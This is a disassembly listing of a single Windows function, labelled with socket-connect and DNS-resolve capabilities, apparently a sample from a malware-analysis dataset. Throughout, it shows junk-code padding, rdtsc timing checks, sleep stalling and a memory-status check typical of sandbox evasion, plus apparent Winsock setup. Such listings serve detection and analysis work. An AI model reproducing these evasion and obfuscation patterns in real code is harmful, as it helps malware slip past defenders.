Function at 0x140006b3c
Capabilities:
Connect socket
Resolve dns

Disassembly:
sub rsp, 0x9c8
lea rbp, [rsp + 0x200]
push rbp
mov rbp, rsp
sub rsp, 0x118
lea rax, [rbp - 0x13]
lea r10, [rbp - 0x32]
call sub.USER32.dll_GetMessageTime
mov qword [rbp - 0xd5], r9
movzx ecx, dl
add rdx, qword [rbp - 0x98]
add eax, dword [0x140009a38]
mov qword [rbp - 0xa], r10
mov qword [rbp - 0xb1], rcx
lea r11, [rbp - 0x28]
and r9, 0x88b3
mov dword [rbp - 0x82], eax
mov qword [rbp - 0x7f], rax
mov eax, dword [rbp - 0x9b]
sub dword [rbp - 0x20], eax
mov qword [rbp - 0x48], r8
lea rcx, [0x140009b7a]
call sub.msvcrt.dll_printf
sub dword [rbp - 0x3e], ecx
or dword [rbp - 0x4a], eax
mov edx, dword [rbp - 0x5f]
sub ecx, edx
mov rdx, qword [rbp - 0x66]
mov rdx, qword [0x140009a2e]
add edx, dword [rbp - 7]
add rax, r9
mov r9, qword [rbp - 0xa4]
or qword [rbp - 0xc8], r8
mov r10, rcx
xor r11, r9
movzx eax, ch
mov dword [rbp - 8], eax
mov r9, rax
lea rcx, [0x140009b53]
call sub.msvcrt.dll_printf
xor qword [rbp - 0xca], r10
mov rcx, 0x1e
call sub.KERNEL32.dll_Sleep
mov ecx, eax
sub cl, dl
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140001541
mov eax, dword [rbp - 0x36]
mov dword [rbp - 0xa0], eax
mov dword [rbp - 0x52], edx
inc qword [rsp]
mov eax, 0x61ae
cmp eax, dword [rsp]
jl 0x140001531
add rsp, 0x10
mov dword [rbp - 0x2c], edx
mov r9, rdx
mov ecx, dword [rbp - 0x5e]
cmp rcx, qword [0x140009a39]
je 0x14000157a
add edx, 0xefd9
lea eax, [rbp - 0x24]
sub edx, 0x4159
mov rax, r8
lea r9, [rbp - 0xa0]
xor dword [rbp - 0xed], edx
mov qword [rbp - 0x9e], r9
test qword [0x140009a30], r11
je 0x1400017e1
movzx ecx, ah
mov qword [rbp - 0xe1], rax
mov qword [rbp - 0x59], rdx
add rax, qword [rbp - 0x71]
add rcx, r10
mov eax, ecx
mov r8, 0x3b54
add ecx, edx
mov eax, dword [rbp - 0x2b]
add edx, 0x47b5
mov r10, qword [rbp - 0x51]
mov rcx, 7
call sub.USER32.dll_GetSystemMetrics
mov rcx, r8
mov eax, dword [rbp - 0xeb]
mov dword [rbp - 0x10], edx
mov rdx, r9
add ecx, dword [rbp - 0xc2]
and ecx, 0x5c28
sub rcx, 0x5c61
mov dword [rbp - 0x22], eax
lea rdx, [0x140009a2c]
cmp rcx, r10
jae 0x1400017e1
add r10, qword [rbp - 0x100]
or ecx, dword [rbp - 0xe3]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x14000164b
add ecx, eax
mov edx, dword [rbp - 0xca]
movzx edx, al
xor ecx, 0x1a96
add eax, dword [0x140009a32]
mov edx, dword [rbp - 0xb7]
mov ecx, dword [rbp - 0x72]
and rdx, qword [rbp - 0xa9]
mov rax, rdx
inc qword [rsp]
cmp qword [rsp], 0x3e75
jle 0x14000161d
add rsp, 0x10
mov dword [rbp - 0x12], edx
add rcx, qword [rbp - 0x16]
mov edx, 0x7f64
mov edx, dword [rbp - 0xe9]
mov eax, edx
movzx edx, dh
and rcx, qword [0x140009a34]
or eax, dword [rbp - 0x70]
lea rax, [0x140009a35]
mov qword [rbp - 0x14], r8
mov r11, qword [rbp - 8]
mov edx, dword [rbp - 0xfd]
mov rax, qword [str.JwiAn37gx2fv8upnv3P9nne8dPy50ZKZ2kdBKeSpwMkJIv3ELFbQLq8SKRgwaeTn15mFv5LwpqoogI]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x14000177b
mov qword [rbp - 0x8a], rax
and edx, ecx
mov eax, dword [rbp - 0x55]
mov ecx, eax
xor dword [rbp - 0x33], eax
mov r11, 0x8d1b
sub edx, dword [rbp - 0x44]
mov qword [rbp - 0x10f], rdx
mov dword [rbp - 0xed], edx
mov ecx, dword [rbp - 0xa2]
lea r8, [rbp - 0x2e]
movzx edx, dx
mov r10, qword [rbp - 0xb6]
xor qword [rbp - 0x10c], rcx
mov r8, qword [rbp - 0x69]
mov ecx, dword [rbp - 0xf3]
xor cx, word [rbp - 0xd4]
sub eax, 0xe5bb
mov qword [rbp - 0xd1], rax
mov qword [rbp - 0xe5], r10
mov qword [rbp - 0x92], rcx
mov qword [rbp - 0x1c], r10
mov eax, dword [rbp - 0x105]
movzx edx, ch
mov r8, qword [0x140009a33]
add ecx, dword [rbp - 0x7d]
mov r8, qword [rbp - 0xaa]
mov dword [rbp - 0xfc], eax
movzx ecx, dx
sub qword [0x140009a32], rcx
sub rdx, 0xae6a
mov qword [rbp - 0xe], r8
mov dword [rbp - 0x54], eax
mov rax, r8
mov rdx, 0x62c1
mov r11, r10
mov dword [rbp - 0xd6], ecx
mov ecx, eax
xor qword [rbp - 0x10c], r11
add ecx, dword [rbp - 0xf]
and dword [rbp - 0xc], eax
add edx, eax
sub edx, eax
inc qword [rsp]
cmp qword [rsp], 0x6dde
jle 0x1400016a7
add rsp, 0x10
mov eax, dword [rbp - 0x87]
xor ecx, dword [rbp - 0x1d]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400017d3
add edx, eax
add r10, rdx
movzx edx, byte [rbp - 0x8b]
add ecx, edx
mov r10, qword [rbp - 0xa6]
add eax, ecx
lea ecx, [rbp - 0xc1]
mov dword [0x140009a33], edx
mov dword [0x140009a33], eax
mov eax, edx
inc qword [rsp]
mov ecx, 0x38f0
cmp ecx, dword [rsp]
jl 0x1400017a4
add rsp, 0x10
leave
rdtsc
shl rdx, 0x20
or rdx, rax
mov rbx, rdx
add rbx, qword [0x1400098fb]
push rbp
mov rbp, rsp
sub rsp, 0x148
add ecx, eax
lea rcx, [0x140009bfd]
call sub.msvcrt.dll_printf
mov eax, dword [rbp - 8]
add rdx, 0x62d2
or ecx, edx
mov rdx, r9
add edx, dword [rbp - 0xc1]
cmp edx, dword [0x140009a2d]
jno 0x14000184b
mov qword [rbp - 0x101], r9
mov rcx, 0x101b
call sub.msvcrt.dll_srand
or qword [rbp - 0x9d], r9
mov eax, dword [rbp - 0x103]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400018be
mov dword [rbp - 0x20], ecx
add qword [rbp - 0xb9], rax
and qword [rbp - 0xb3], rax
mov edx, dword [rbp - 0xde]
movzx ecx, ah
mov r8, qword [rbp - 0x58]
and edx, dword [rbp - 0x50]
mov r8, qword [str.JwiAn37gx2fv8upnv3P9nne8dPy50ZKZ2kdBKeSpwMkJIv3ELFbQLq8SKRgwaeTn15mFv5LwpqoogI]
mov eax, ecx
mov qword [rbp - 0xba], rdx
mov rdx, rax
mov dword [rbp - 0x3d], eax
sub qword [rbp - 0x65], r9
add rcx, 0x83c
mov r9, qword [rbp - 0xd2]
mov dword [rbp - 0xe4], edx
mov qword [rbp - 0x76], r10
mov r9, qword [rbp - 0xe]
add r9, rdx
mov qword [rbp - 0x114], rcx
inc qword [rsp]
cmp qword [rsp], 0x5d8b
jle 0x140001859
add rsp, 0x10
and dword [rbp - 0xd4], edx
mov dword [rbp - 0xab], edx
mov dword [rbp - 0xf3], ecx
call sub.KERNEL32.dll_GetCurrentThreadId
mov edx, dword [rbp - 0x101]
movzx eax, ax
mov qword [rbp - 0x86], rdx
mov r9, qword [rbp - 0xd6]
call sub.USER32.dll_GetActiveWindow
mov eax, 0x5b49
add rdx, qword [rbp - 0x89]
or dword [rbp - 0x42], edx
test eax, edx
jno 0x14000199d
mov rcx, 0x130
call sub.KERNEL32.dll_Sleep
mov edx, ecx
mov dword [rbp - 0x13c], eax
lea rcx, [rbp - 0xdc]
mov edx, eax
sub ecx, edx
mov qword [rbp - 0xcb], rdx
mov qword [rbp - 0x123], rax
movzx eax, dl
mov dword [rbp - 0x8d], ecx
mov qword [rbp - 0xf9], r10
movzx ecx, dx
and ecx, edx
mov rcx, r9
mov ecx, dword [rbp - 0x102]
mov edx, dword [rbp - 0x80]
lea r9, [rbp - 0x45]
mov dword [rbp - 0x125], edx
mov rax, qword [rbp - 0x2a]
add al, byte [rbp - 0x70]
mov ecx, eax
movzx eax, dl
sub edx, 0xb085
mov dword [0x140009a37], eax
mov qword [rbp - 0xa7], r8
mov qword [rbp - 0xe2], rdx
mov ecx, dword [rbp - 0x4d]
mov rax, rdx
sub dword [rbp - 0x30], eax
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400019c6
sub edx, ecx
mov qword [rbp - 0x99], r11
sub ecx, edx
movzx eax, ah
mov ecx, dword [rbp - 0xfe]
and r8, rax
inc qword [rsp]
mov rcx, 0x402c
cmp qword [rsp], rcx
jle 0x1400019ab
add rsp, 0x10
or edx, dword [rbp - 0x13c]
mov dword [0x140009a2e], eax
mov dword [rbp - 0x135], edx
mov cl, al
mov r8, qword [rbp - 0x95]
mov dword [rbp - 0x27], eax
mov eax, edx
cmp r10, 0xffffffffb0b91496
je 0x140001b42
mov rdx, 0xbb31
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140001a70
sub qword [rbp - 0x103], rdx
add qword [0x140009a3a], rax
mov qword [rbp - 0xec], r11
add edx, dword [rbp - 0x76]
mov r9, qword [rbp - 0x124]
lea r8, [rbp - 0xce]
mov rdx, qword [rbp - 0x96]
add rdx, qword [rbp - 0xe8]
and dword [rbp - 0xac], ecx
add edx, dword [rbp - 0x53]
mov r8, r10
add rax, qword [rbp - 0x136]
sub edx, ecx
mov rcx, r10
mov qword [rbp - 0x6b], rax
mov dword [rbp - 0x72], eax
inc qword [rsp]
mov r10, 0xc401
cmp qword [rsp], r10
jle 0x140001a19
add rsp, 0x10
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140001b17
mov ecx, dword [rbp - 0x7c]
movzx ecx, ch
mov dword [rbp - 0x75], ecx
mov edx, 0x106a
mov edx, dword [rbp - 0xe9]
sub rax, 0xb5db
mov r8, qword [rbp - 0x108]
mov ecx, eax
mov edx, dword [rbp - 0x6d]
movzx eax, al
mov dword [rbp - 0x3f], eax
mov dword [rbp - 0x77], eax
mov dword [rbp - 0x8f], ecx
mov eax, 0x9a99
mov edx, dword [rbp - 0xf9]
mov qword [rbp - 0x11d], r8
add r8, qword [rbp - 0xca]
mov dword [rbp - 0x109], ecx
mov dword [rbp - 0x13f], ecx
mov qword [0x140009a38], rax
or dx, 0xf90c
mov edx, dword [rbp - 0x11]
mov rdx, 0x88bf
mov qword [rbp - 0xaa], r10
mov r9, qword [rbp - 0x62]
or edx, dword [rbp - 0x3a]
add r8, r9
inc qword [rsp]
mov edx, 0x151
cmp edx, dword [rsp]
jl 0x140001a92
add rsp, 0x10
mov qword [rbp - 0x45], rcx
mov qword [rbp - 0x94], r11
mov rcx, qword [rbp - 0xb3]
add qword [0x140009a34], rcx
mov dword [rbp - 0x38], edx
xor ch, al
sub rdx, 0x2137
sub eax, ecx
mov eax, edx
test edx, 0xf864810a
jns 0x140001b8d
mov rcx, qword [rbp - 0x4c]
add edx, 0x602a
and edx, eax
xor qword [rbp - 0xec], r9
and eax, dword [rbp - 0x124]
movzx eax, cl
mov ecx, edx
call sub.USER32.dll_GetMessagePos
mov r11, qword [rbp - 0xca]
or edx, eax
mov r11, qword [rbp - 0xdd]
leave
mov rcx, 0x3e8
call sub.KERNEL32.dll_Sleep
push rbp
mov rbp, rsp
sub rsp, 0x368
mov dword [0x140009a31], edx
mov qword [rbp - 0x128], rax
cmp edx, eax
jne 0x140001bea
sub rsp, 0x70
lea rcx, [rsp + 0x20]
call sub.KERNEL32.dll_GlobalMemoryStatus
add rsp, 0x70
mov r10, r11
xor qword [rbp - 0x125], rax
mov r11, qword [rbp - 0x78]
mov qword [rbp - 0x1c2], rcx
mov r10, qword [rbp - 0x124]
add edx, dword [rbp - 0x2ec]
mov qword [rbp - 0x22f], r11
xor edx, dword [rbp - 0x29e]
mov dword [rbp - 0x240], eax
movzx ecx, dh
mov r10, qword [rbp - 0x25f]
movzx eax, byte [rbp - 0x34]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140001c88
mov r8, 0xd01d
movzx eax, dx
add rcx, r9
add qword [rbp - 0x30a], r11
mov rax, qword [rbp - 0x23c]
mov dword [rbp - 0x2af], edx
or edx, dword [rbp - 0x1d1]
mov r8, qword [0x140009a34]
add eax, dword [rbp - 0x19]
mov dword [rbp - 0x1e], edx
mov qword [rbp - 0x181], r8
mov r8, 0xb793
mov edx, dword [0x140009a2f]
mov r10, qword [rbp - 0x355]
movzx edx, ah
mov qword [0x140009a36], r8
mov dword [rbp - 0x11], edx
or edx, 0xfb38
and r8, qword [rbp - 0x20f]
mov eax, edx
inc qword [rsp]
mov eax, 0x730
cmp eax, dword [rsp]
jl 0x140001c19
add rsp, 0x10
mov edx, eax
mov qword [rbp - 0x152], r11
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140001cb1
inc qword [rsp]
cmp qword [rsp], 0xd424
jle 0x140001cad
add rsp, 0x10
add dword [rbp - 0x62], ecx
sub qword [rbp - 0x154], r8
movzx ecx, cx
movzx ecx, al
mov dword [rbp - 0x231], eax
mov qword [rbp - 0x14d], r11
add eax, dword [rbp - 0x1ee]
mov ecx, 0x8d2a
movzx ecx, dx
mov qword [rbp - 0x129], r8
xor r10, qword [rbp - 0x349]
sub rsp, 0x30
mov rcx, 0xc245
call sub.msvcrt.dll_malloc
mov qword [rsp + 0x20], rax
mov ecx, dword [rbp - 0x270]
mov dword [rbp - 0x1a6], ecx
mov r9, qword [rbp - 0x13c]
mov qword [rbp - 0x1a4], r8
sub ecx, dword [0x140009a34]
mov r10, rax
movzx edx, cx
or edx, dword [rbp - 0x1a8]
mov cx, 0x79b0
movzx edx, ch
cmp rax, qword [0x140009a2f]
jne 0x140001d49
mov qword [rbp - 0x2d4], rcx
mov qword [0x140009a35], r9
mov qword [rbp - 0x258], rcx
mov qword [rbp - 0xa5], r11
mov qword [rbp - 0x28f], r9
xor qword [rbp - 0x255], rcx
add ecx, 0x2a90
add qword [rbp - 0x1b8], rcx
mov qword [rbp - 0x60], r8
sub r8, r11
add ecx, 0xa110
mov qword [rbp - 0x2ee], rcx
or ecx, eax
and r11, 0xced0
or ecx, eax
lea ecx, [rbp - 0x1c6]
mov r11, qword [rbp - 0x6b]
and ecx, dword [0x140009a30]
add dword [rbp - 0x318], edx
mov eax, dword [0x140009a36]
add edx, 0xef7d
movzx eax, byte [0x140009a36]
mov qword [rbp - 0x203], rdx
cmp r11, qword [0x140009a2d]
js 0x140001dd8
mov dword [0x140009a2e], ecx
or ecx, edx
mov ecx, dword [rbp - 0x31]
mov rdx, qword [rbp - 0x140]
mov ecx, eax
mov edx, dword [rbp - 0x2b7]
sub qword [0x140009a36], r9
mov r10, rcx
test eax, 0x2e0cde12
jns 0x140001e17
mov r11, qword [0x140009a39]
movzx edx, cl
movzx edx, cl
sub qword [rbp - 0x293], r11
mov dword [rbp - 0xac], ecx
or rcx, rax
mov edx, dword [rbp - 0x2bc]
mov eax, ecx
mov edx, dword [rbp - 0x2c2]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140001e9d
mov dword [rbp - 0x9f], ecx
mov qword [rbp - 0x1af], r9
and eax, dword [0x140009a3a]
mov rdx, qword [rbp - 0x7a]
mov cl, 0x16
or dword [rbp - 0x1d6], eax
add dword [rbp - 0x2ac], eax
mov ch, byte [rbp - 0x1ea]
mov r8, qword [rbp - 0x114]
mov qword [rbp - 0xe9], r9
mov r10, rdx
mov ecx, dword [rbp - 0x2c2]
add dword [rbp - 0x161], edx
mov eax, ecx
add edx, dword [rbp - 0x40]
mov dword [rbp - 0x2bc], eax
and rax, r8
mov qword [rbp - 0x1cd], rdx
inc qword [rsp]
mov rdx, 0x7650
cmp qword [rsp], rdx
jle 0x140001e3c
add rsp, 0x10
movzx eax, ah
and r10, rdx
mov r8, rcx
mov qword [0x140009a33], r10
mov eax, dword [rbp - 0x1cd]
mov r8, rax
movzx edx, cl
movzx ecx, cl
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140001ef4
add qword [rbp - 0x2aa], r8
mov qword [rbp - 0x2a9], rdx
add qword [rbp - 0x100], rax
inc qword [rsp]
cmp qword [rsp], 0x9918
jle 0x140001edb
add rsp, 0x10
sub cx, 0xc949
mov edx, ecx
mov dword [rbp - 0xb0], edx
mov rcx, qword [rbp - 0x85]
movzx ecx, ah
mov rcx, qword [rsp + 0x20]
cmp rcx, 0
je 0x140001f29
call sub.msvcrt.dll_free
add rsp, 0x30
leave
rdtsc
shl rdx, 0x20
or rdx, rax
cmp rdx, rbx
jb 0x1400017f5
mov rcx, rbx
call sub.msvcrt.dll_srand
lea rdi, section..data
mov rsi, qword [0x1400098d7]
mov r12, 0xc5
call fcn.140004a60
push rbp
mov rbp, rsp
sub rsp, 0x3b8
mov rax, rcx
mov dword [rbp - 0x156], eax
mov qword [rbp - 0x233], rdx
mov r9, qword [rbp - 0x82]
mov r11, r8
mov qword [rbp - 0x19a], r10
mov dl, byte [rbp - 0x259]
sub eax, ecx
sub ecx, dword [rbp - 0x221]
mov edx, dword [rbp - 0x26]
add edx, dword [rbp - 0x271]
mov rcx, qword [rbp - 5]
mov r9, qword [rbp - 0x2c2]
sub r11, rax
xor qword [rbp - 0x5f], r10
xor r10, qword [rbp - 0x342]
cmp eax, 0x6ca112fc
jno 0x14000204e
sub dword [rbp - 0x2a9], ecx
mov r9, rax
mov eax, dword [rbp - 0xf0]
sub r9, qword [rbp - 0xae]
add qword [rbp - 0x6b], r11
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x14000200e
mov rcx, rdx
movzx eax, byte [rbp - 0x1bc]
add eax, dword [rbp - 0x148]
mov eax, dword [rbp - 0x39b]
movzx edx, ch
inc qword [rsp]
mov r9, 0xe936
cmp qword [rsp], r9
jle 0x140001ff1
add rsp, 0x10
mov r8, qword [rbp - 0x2d7]
mov eax, 0xb35a
mov ecx, eax
add dl, byte [rbp - 0x30a]
mov rax, qword [rbp - 0x33e]
mov rax, r11
mov qword [rbp - 0x1ae], rax
xor r9, qword [0x140009a32]
or r11, rdx
lea r11, [rbp - 0x4b]
lea rdx, [0x140009a31]
cmp edx, 0xa80a3744
jns 0x140002061
mov edx, dword [0x140009a2e]
mov edx, ecx
add ecx, eax
mov eax, edx
mov eax, dword [rbp - 0xfc]
movzx ecx, dl
cmp r9, 0x7731d643
jne 0x14000212e
mov r8, qword [rbp - 0x270]
mov r8, qword [0x140009a38]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x14000211c
mov edx, dword [rbp - 0x174]
mov r8, 0x70f8
mov ecx, dword [rbp - 0x335]
add eax, 0x92d2
sub r8, 0x2595
sub qword [rbp - 0x2e1], r11
mov eax, dword [rbp - 0x72]
mov ecx, edx
or qword [rbp - 0x190], r9
mov qword [0x140009a38], rax
and rdx, 0xa9ca
mov edx, dword [rbp - 0x2eb]
xor r10, 0xa134
mov ecx, dword [rbp - 0x2a8]
or r9, r8
movzx edx, byte [0x140009a35]
mov rcx, rdx
lea r8, [rbp - 0x4c]
mov edx, ecx
mov qword [rbp - 0xc5], rcx
mov ecx, eax
mov rdx, qword [0x140009a32]
mov r8, r10
inc qword [rsp]
mov edx, 0x5e36
cmp edx, dword [rsp]
jl 0x14000209f
add rsp, 0x10
leave
call fcn.140005865
call fcn.140006554
cmp rax, 0
jne 0x14000693c
push r14
push rbp
mov rbp, rsp
sub rsp, 0x258
mov edx, 0x67f0
mov edx, ecx
movzx edx, byte [0x140009a2d]
or eax, dword [rbp - 0xe8]
or rcx, qword [rbp - 0x1b9]
or dword [rbp - 0xd6], ecx
add r10, r9
xor qword [rbp - 0x44], r11
mov dword [rbp - 0x1ae], eax
add edx, dword [rbp - 0x12b]
mov dword [rbp - 0x229], eax
sub qword [0x140009a2c], r8
mov dword [rbp - 0xb0], edx
add ax, 0x24c5
sub eax, edx
mov eax, dword [rbp - 0xae]
add eax, dword [rbp - 0x1d3]
mov ecx, dword [rbp - 0xb4]
mov dword [rbp - 0x9f], edx
mov rcx, qword [rbp - 0x15c]
lea rcx, [rbp - 0x9f]
add rdx, qword [rbp - 0x1da]
xor qword [rbp - 0x14f], rax
mov eax, edx
test r10, 0x29ddf904
jne 0x140002235
add rcx, qword [rbp - 0x186]
mov qword [rbp - 0x163], r14
mov ecx, dword [rbp - 0x15e]
mov dword [rbp - 0x185], edx
movzx edx, ah
mov r8, qword [rbp - 0x159]
and edx, 0x7130
mov r14, r9
xor qword [rbp - 0x11d], r10
mov r14, rax
mov rdx, qword [rbp - 0xe3]
sub ecx, dword [rbp - 0x149]
mov edx, dword [rbp - 0x19]
mov edx, dword [rbp - 0xfd]
mov qword [rbp - 0xbd], r10
add eax, 0x265
mov eax, dword [rbp - 0x2f]
lea rax, [rbp - 0x3a]
sub r9, qword [rbp - 0xd1]
mov eax, dword [rbp - 0x8b]
add rcx, 0xaca6
cmp edx, 0x40934a61
jmp 0x1400022d2
leave
pop r14
call fcn.1400066ea
cmp rax, 0
jne 0x14000693c
push r15
push r12
push rbp
mov rbp, rsp
sub rsp, 0x98
mov eax, dword [rbp - 0x50]
add rcx, 0x59f1
mov r9, r8
mov qword [rbp - 0x54], rcx
mov r9, qword [rbp - 3]
sub eax, dword [rbp - 0x1c]
add ecx, 0xa909
add rcx, qword [rbp - 0x34]
cmp rdx, 0xffffffffd10c5e1a
je 0x1400023e2
mov r9, qword [0x140009a34]
mov qword [rbp - 0x5c], rax
add qword [rbp - 0x68], rax
mov dword [rbp - 0x72], ecx
mov rcx, qword [0x140009a34]
movzx eax, ch
mov qword [rbp - 0x12], r15
mov eax, ecx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x14000239a
add r15, qword [rbp - 0x42]
mov dword [0x140009a37], eax
mov eax, edx
and dword [rbp - 0x33], ecx
sub ecx, 0xcbf0
mov r8, r9
and eax, dword [rbp - 0x35]
mov edx, dword [rbp - 0x80]
mov eax, dword [rbp - 0x77]
mov r11, qword [rbp - 0x56]
mov dword [rbp - 0x33], eax
sub dword [rbp - 0xc], ecx
mov edx, dword [rbp - 0x38]
mov eax, 0xec58
mov qword [rbp - 0x46], rax
or ecx, eax
mov r8, r15
movzx ecx, ah
mov r12, rcx
add ecx, eax
inc qword [rsp]
mov ecx, 0x870
cmp ecx, dword [rsp]
jl 0x140002352
add rsp, 0x10
mov rax, rdx
movzx eax, al
movzx ecx, ah
mov r10, rax
mov qword [rbp - 0x88], r8
sub eax, dword [rbp - 0x82]
mov eax, 0x7959
mov qword [0x140009a32], rax
mov byte [rbp - 0x24], al
movzx eax, byte [rbp - 0xf]
mov r9, qword [rbp - 0x51]
movzx eax, ax
add r12, r8
sub qword [rbp - 0x7f], r10
add ecx, dword [rbp - 0x20]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x14000242c
sub edx, dword [rbp - 0x29]
mov qword [rbp - 0x5b], r8
sub edx, 0xf1d1
xor ecx, dword [rbp - 0x5c]
mov ecx, edx
mov edx, ecx
mov dword [0x140009a36], ecx
and r12, qword [rbp - 0x3d]
sub r9, r12
mov cx, word [rbp - 0x46]
add ecx, 0xc4cf
mov qword [rbp - 0x33], r12
sub eax, dword [rbp - 0x89]
inc qword [rsp]
mov eax, 0xe1d3
cmp eax, dword [rsp]
jl 0x1400023f3
add rsp, 0x10
leave
pop r12
pop r15
lea rdx, [rbp - 0x40]
mov rcx, 0x202
mov rax, qword [0x14000995b]
call rax
test eax, eax
jne 0x1400049a8
push rdi
push r12
push r13
push rbp
mov rbp, rsp
sub rsp, 0x4c8
movzx edx, dh
xor dword [rbp - 0x224], edx
mov rcx, 0x56ac
mov qword [rbp - 0x15f], rcx
movzx eax, cl
mov byte [rbp - 0x359], ah
mov qword [0x140009a36], r12
and rdx, qword [rbp - 0x3ad]
movzx edx, word [0x140009a36]
mov rdx, 0x1a8b
mov qword [rbp - 0x4b0], rcx
test qword [0x140009a3a], r10
jne 0x140002645
or edx, 0xaf21
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400024e9
mov ecx, dword [rbp - 0x55]
add ecx, 0x340e
mov word [rbp - 0x29f], cx
lea edi, [rbp - 0x1d3]
inc qword [rsp]
mov r11, 0x9c92
cmp qword [rsp], r11
jle 0x1400024cf
add rsp, 0x10
or qword [rbp - 0x1e9], r9
sub qword [rbp - 0x318], r11
xor r9, qword [rbp - 0x13a]
mov edx, dword [rbp - 0x2d]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140002567
and qword [rbp - 0x99], rax
mov rcx, 0x6fc9
movzx edx, dx
lea r10, [rbp - 0x3e2]
mov eax, dword [rbp - 0x145]
mov dword [rbp - 0x1cd], edi
add ecx, dword [rbp - 0xde]
and dword [rbp - 0x33d], ecx
mov ecx, dword [rbp - 0x14e]
movzx eax, dl
mov rdi, qword [rbp - 0x16f]
add dh, byte [rbp - 0x50]
inc qword [rsp]
mov rdi, 0x1f13
cmp qword [rsp], rdi
jle 0x140002520
add rsp, 0x10
mov qword [rbp - 0x39b], rcx
sub qword [rbp - 0xeb], r10
mov edi, eax
mov ecx, dword [rbp - 0x43]
mov dword [rbp - 0x16d], ecx
lea r11, [rbp - 0x2f2]
mov qword [rbp - 0x455], rdx
sub r11, qword [rbp - 0x171]
add edi, dword [0x140009a2f]
cmp r10, rdi
je 0x140002645
mov eax, dword [rbp - 0x32]
movzx edx, al
and r8, rdx
mov r9, qword [rbp - 0x89]
mov dword [rbp - 0xde], edx
mov dword [rbp - 0xd7], eax
mov ecx, dword [rbp - 0x15d]
movzx edi, byte [0x140009a30]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400025f7
movzx eax, byte [rbp - 0x2e6]
inc qword [rsp]
mov eax, 0xcf8c
cmp eax, dword [rsp]
jl 0x1400025ec
add rsp, 0x10
mov eax, edx
mov edx, 0xaee4
movzx ecx, al
movzx edi, cl
mov r8, rcx
and qword [rbp - 0x38f], r12
add qword [rbp - 0x17c], r13
add edx, eax
sub r9, 0xfa94
add edi, 0x6d
add qword [rbp - 0x1a2], r11
mov edx, dword [rbp - 0x35c]
sub eax, dword [rbp - 0x31d]
mov rax, r8
leave
pop r13
pop r12
pop rdi
rdtsc
mov dword [0x1400091b7], eax
lea rsi, [0x14000910d]
mov r10, 0
call fcn.1400053e9
push rbx
push rdi
push rsi
push r14
push r15
push r12
push rbp
mov rbp, rsp
sub rsp, 0x38
mov qword [rbp - 0x16], r11
movzx edi, dh
mov r14, rbx
cmp edi, dword [0x140009a35]
js 0x14000275d
mov r10, qword [rbp - 0xa]
sub dword [rbp - 0xf], edx
mov qword [rbp - 0x1a], r14
mov dword [rbp - 5], ebx
add ecx, eax
lea ecx, [rbp - 0x11]
or ecx, 0x7af6
mov rbx, r8
mov r15, qword [rbp - 0x2a]
movzx edx, byte [rbp - 0x18]
mov edi, dword [rbp - 0x11]
mov rdx, r14
mov edi, 0x7bc6
mov qword [rbp - 0x29], rcx
mov ecx, dword [rbp - 0x2b]
mov rbx, qword [rbp - 0x14]
mov dword [rbp - 0x15], ebx
mov dword [rbp - 0x20], esi
mov r9, rbx
mov dword [rbp - 5], edi
mov dword [rbp - 0x1f], eax
xor r8, rbx
mov ecx, esi
mov r9, qword [rbp]
mov dword [rbp - 0x20], edx
xor dword [rbp - 7], ebx
sub qword [rbp - 0x11], rsi
mov eax, dword [rbp - 0xe]
mov qword [rbp - 0x18], r14
mov qword [rbp - 0x24], r8
add dword [rbp - 0x1c], edi
mov edx, dword [rbp - 0x18]
mov esi, ebx
xor esi, 0x5eac
lea r11, [rbp - 0x10]
add qword [rbp - 0x2c], r15
mov esi, ebx
sub esi, dword [rbp - 0x2f]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x14000274c
sub qword [rbp - 0x29], r12
mov qword [rbp - 8], r12
mov qword [rbp - 0x26], r9
mov dword [rbp - 0x25], ebx
mov qword [rbp - 0x11], r14
mov ebx, dword [0x140009a3a]
mov dword [rbp - 0xd], edx
mov eax, dword [rbp - 0x2d]
mov r11, 0x688a
sub ecx, ebx
movzx esi, al
inc qword [rsp]
mov r14, 0xf670
cmp qword [rsp], r14
jle 0x14000271d
add rsp, 0x10
leave
pop r12
pop r15
pop r14
pop rsi
pop rdi
pop rbx
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x60], 0x18
mov qword [rbp + 0x68], 0
mov dword [rbp + 0x70], 1
push rbp
mov rbp, rsp
sub rsp, 0x238
mov rcx, qword [rbp - 0x13b]
add byte [rbp - 0x9c], ch
add eax, dword [rbp - 0x60]
mov rdx, r10
add qword [rbp - 0xcf], r11
add r11, 0x5b94
mov r10, 0x62e7
add eax, dword [rbp - 0x120]
cmp rax, qword [0x140009a2e]
jae 0x14000284d
mov edx, dword [rbp - 0x159]
movzx ecx, dl
sub qword [rbp - 0xa4], rcx
and rdx, r10
mov qword [rbp - 0x149], rcx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400027fd
sub rdx, rcx
sub rdx, rax
inc qword [rsp]
mov ecx, 0x3fe8
cmp ecx, dword [rsp]
jl 0x1400027f3
add rsp, 0x10
mov qword [rbp - 0x159], r10
mov rcx, qword [rbp - 0x209]
or r10, qword [rbp - 0x12c]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140002832
inc qword [rsp]
mov edx, 0x198
cmp edx, dword [rsp]
jl 0x14000282e
add rsp, 0x10
movzx ecx, byte [0x140009a30]
or dword [rbp - 0xde], eax
mov r11, r8
mov qword [rbp - 0xae], rax
mov r11, r8
add dx, word [rbp - 0x93]
test qword [0x140009a34], r8
js 0x140002881
mov qword [rbp - 0x216], r10
